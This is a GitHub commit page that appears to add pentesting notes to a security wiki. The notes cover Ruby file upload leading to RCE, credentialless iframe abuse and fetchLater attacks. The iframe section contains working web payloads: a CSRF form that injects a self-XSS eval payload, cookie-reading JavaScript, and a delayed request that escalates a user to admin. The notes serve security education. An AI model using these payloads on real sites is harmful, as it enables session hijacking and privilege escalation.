Skip to content

Commit b586102

Browse files
carlospolopcarlospolop
committed
add
1 parent 1d0d448 commit b586102

4 files changed

Lines changed: 69 additions & 0 deletions

File tree

‎src/SUMMARY.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -435,6 +435,7 @@
435435
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
436436
- [Python](network-services-pentesting/pentesting-web/python.md)
437437
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
438+
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
438439
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
439440
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
440441
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)

‎src/network-services-pentesting/pentesting-web/ruby-tricks.md‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
# Ruby Tricks
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## File upload to RCE
6+
7+
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
8+
9+
{{#include ../../banners/hacktricks-training.md}}
10+
11+
12+

‎src/pentesting-web/clickjacking.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -100,6 +100,7 @@ Example:\
100100
You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\
101101
An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
102102
103+
103104
### DoubleClickjacking
104105

105106
Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**.

‎src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md‎

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -144,6 +144,61 @@ The attribute's value can be left empty (`sandbox=""`) to apply all the aforemen
144144
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
145145
```
146146

147+
### Credentialless iframes
148+
149+
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
150+
151+
This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:
152+
153+
```javascript
154+
window.top[1].document.body.innerHTML = 'Hi from credentialless';
155+
alert(window.top[1].document.cookie);
156+
```
157+
158+
- Exploit example: Self-XSS + CSRF
159+
160+
In this attack, the attacker prepares a malicious webpage with 2 iframes:
161+
162+
- An iframe that loads the victim's page with the `credentialless` flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
163+
```html
164+
<html>
165+
<body>
166+
<form action="http://victim.domain/login" method="POST">
167+
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
168+
<input type="hidden" name="password" value="Super_s@fe_password" />
169+
<input type="submit" value="Submit request" />
170+
</form>
171+
<script>
172+
document.forms[0].submit();
173+
</script>
174+
</body>
175+
</html>
176+
```
177+
178+
- Another iframe that actually has the user logged in (without the `credentialless` flag).
179+
180+
Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing:
181+
182+
```javascript
183+
alert(window.top[1].document.cookie);
184+
```
185+
186+
### fetchLater Attack
187+
188+
As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) The API `fetchLater` allows to configure a request to be executed later (after a certain time). Therefore, this can be abused to for example, login a victim inside an attackers session (with Self-XSS), set a `fetchLater` request (to change the password of the current user for example) and logout from the attackers session. Then, the victim logs in in his own session and the `fetchLater` request will be executed, changing the password of the victim to the one set by the attacker.
189+
190+
This way even if the victim URL cannot be loaded in an iframe (due to CSP or other restrictions), the attacker can still execute a request in the victim's session.
191+
192+
193+
```javascript
194+
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
195+
const minute = 60000
196+
let arr = [minute, minute * 60, minute * 60 * 24, ...]
197+
for (let timeout of arr)
198+
fetchLater(req,{activateAfter: timeout})
199+
```
200+
201+
147202
## Iframes in SOP
148203

149204
Check the following pages:

0 commit comments

Comments
 (0)